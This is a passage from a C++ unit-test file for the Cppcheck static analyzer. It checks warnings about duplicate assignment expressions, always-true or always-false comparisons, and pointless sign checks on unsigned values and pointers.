-1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const 